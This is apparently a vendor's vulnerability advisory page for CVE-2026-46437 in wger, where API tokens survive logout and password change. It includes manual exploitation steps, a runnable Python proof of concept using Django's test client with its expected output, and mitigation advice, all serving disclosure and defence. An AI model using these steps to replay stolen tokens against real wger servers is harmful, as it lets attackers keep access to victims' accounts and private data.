Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2026-46437 — wger

MEDIUM

CVE-2026-46437 is a medium-severity (CVSS 4.8) Improper Authentication vulnerability in wger. No vendor fix is recorded yet; mitigation options are listed below.

wger: API credentials remain valid after logout/password change

Also known asGHSA-v3x9-6gg8-c2c9PYSEC-2026-4315
Published
Updated
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-46437.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs8th percentile — riskier than 8% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-46437 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍wger

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials:

  • Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
  • Password change updates the password hash, but does not revoke:
    • existing DRF tokens stored in authtoken_token
    • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

  • wger/wger/core/views/user.py (logout implementation)
  • wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
  • wger/settings/main.py (commonly used production defaults for JWT lifetimes)
  • wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a user account.
  2. Obtain a JWT refresh token:
    • POST /api/v2/token with username/password.
  3. Obtain a DRF token (API key):
    • use /user/api-key (or create token via admin/DB in a test environment).
  4. Change password:
    • POST /<lang>/user/password/change with old_password, new_password1, new_password2.
  5. Prove token replay:
    • Call a private endpoint using the old DRF token (should still return 200).
    • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
        "/api/v2/token",
        {"username": username, "password": new_pw},
        format="json",
    )

    # DRF token remains valid (private endpoint still accessible)
    api.credentials(HTTP_AUTHORIZATION=f"Token {drf_token}")
    r_drf = api.get("/api/v2/weightentry/")

    # Old refresh remains valid (still mints a new access token)
    api.credentials()
    r_refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

    out = {
        "jwt_refresh_lifetime_seconds": int(settings.SIMPLE_JWT["REFRESH_TOKEN_LIFETIME"].total_seconds()),
        "jwt_access_lifetime_seconds": int(settings.SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"].total_seconds()),
        "jwt_obtain_oldpw_before_change": r_obtain.status_code,
        "password_change_status": r_pw.status_code,
        "jwt_obtain_oldpw_after_change": r_obtain_old.status_code,
        "jwt_obtain_newpw_after_change": r_obtain_new.status_code,
        "drf_token_private_api_after_change": r_drf.status_code,
        "jwt_refresh_with_old_refresh_after_change": r_refresh.status_code,
        "jwt_refresh_response_keys": sorted(list(getattr(r_refresh, "data", {}).keys())),
    }

    print(json.dumps(out, indent=2))


if __name__ == "__main__":
    main()

Expected output (example from a successful run):

{
  "jwt_refresh_lifetime_seconds": 86400,
  "jwt_access_lifetime_seconds": 900,
  "jwt_obtain_oldpw_before_change": 200,
  "password_change_status": 302,
  "jwt_obtain_oldpw_after_change": 401,
  "jwt_obtain_newpw_after_change": 200,
  "drf_token_private_api_after_change": 200,
  "jwt_refresh_with_old_refresh_after_change": 200,
  "jwt_refresh_response_keys": [
    "access"
  ]
}

Impact

A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access.

  • Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used).
  • Integrity: attacker can perform any API mutations permitted to the victim’s account.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐍PyPIwgerall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wger, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of wger has shipped for CVE-2026-46437 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary A vulnerability exists in the authentication/session lifecycle of `wger` where **bearer-style API credentials** remain valid **after a user logs out and after a user changes their password**. An attacker who steals a victim’s **DRF authtoken** (`Authorization: Token ...`) or **JWT refresh token** can continue to access protected `/api/v2/*` endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials: - **Logout** (`/user/logout`) only clears the Django session cookie via `django_logout()` an
O3 Security · Impact-Aware SCA

Is CVE-2026-46437 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-46437: wger (Medium 4.8)